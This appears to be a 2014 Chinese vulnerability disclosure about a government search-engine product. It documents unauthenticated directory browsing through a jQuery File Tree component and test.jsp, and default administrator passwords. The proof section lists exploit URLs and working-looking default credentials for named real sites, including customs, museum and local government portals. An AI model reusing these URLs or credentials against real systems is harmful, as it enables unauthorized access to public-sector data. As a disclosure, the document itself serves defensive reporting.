漏洞详情

披露状态:

2014-08-06: 细节已通知厂商并且等待厂商处理中
2014-08-11: 厂商已经确认,细节仅向厂商公开
2014-08-14: 细节向第三方安全合作伙伴开放
2014-10-05: 细节向核心白帽子及相关领域专家公开
2014-10-15: 细节向普通白帽子公开
2014-10-25: 细节向实习白帽子公开
2014-11-04: 细节向公众公开

简要描述:

某政务智能搜索引擎第三方组件漏洞导致任意盘符目录浏览+后台默认口令;

详细说明:

爱觅桔智能搜索引擎是中科汇联自主研发的“提供知识的搜索引擎”,首创知识图谱关联、百姓体匹配、智能引导、自定义框计算等特色搜索服务功能,采用语义理解技术、机器学习技术,实现智能搜索、文档搜索、多媒体搜索功能。


漏洞一:第三方组件调用未进行授权访问
网站调用了jquery 显示本地文件的插件
jQuery File Tree:
文件分别为
jquery.js (jquery核心库)
jqueryFileTree.js (jqueryFileTree核心库)
jqueryFileTree.jsp (用于JavaScript和jsp的连接,添加列表元素等操作)
jqueryFileTree.css

http://114.251.1.141:8080/dig/codebase/jqueryFileTree.jsp?dir=d:/  (查看源文件)
http://114.251.1.141:8080/dig/pages/crawl/test.jsp?r=d:/


test.png


漏洞一:后台存在默认口令
admin 123456
mengfx 123456
liuzp 123456
登陆地址:

http://www.xxx.cn/dig/login.jsp


test1.png


test2.png

漏洞证明:

海关总署    (弱口令 mengfx 123456)
http://search.customs.gov.cn/dig/pages/crawl/test.jsp?r=D%3A%5C
深圳南山GOV在线
http://www.szns.gov.cn/dig/pages/crawl/test.jsp?r=/
上海青浦GOV
http://search.shqp.gov.cn/dig/pages/crawl/test.jsp?r=/
国家博物馆(弱口令admin 123456)
http://114.255.205.162/dig/login.jsp
莆田出入境检验检疫局(弱口令 mengfx 123456)
http://www.fjciq.gov.cn/dig/login.jsp
河北GOV在线(弱口令 mengfx 123456)
http://218.12.44.18/dig/login.jsp
中华保险 (弱口令admin 123456)
http://114.251.1.141:8080/dig/pages/crawl/test.jsp?r=D:/
北京国土资源局
http://search.bjgtj.gov.cn/dig/login.jsp (弱口令admin 123456)
深圳光明GOV
http://www.szgm.gov.cn/dig/login.jsp 弱口令admin 123456
天阳集团
http://www.tansun.com.cn/dig/login.jsp 弱口令admin 123456

修复方案:

对第三方插件进行授权访问,修改默认口令。

标签: none

评论已关闭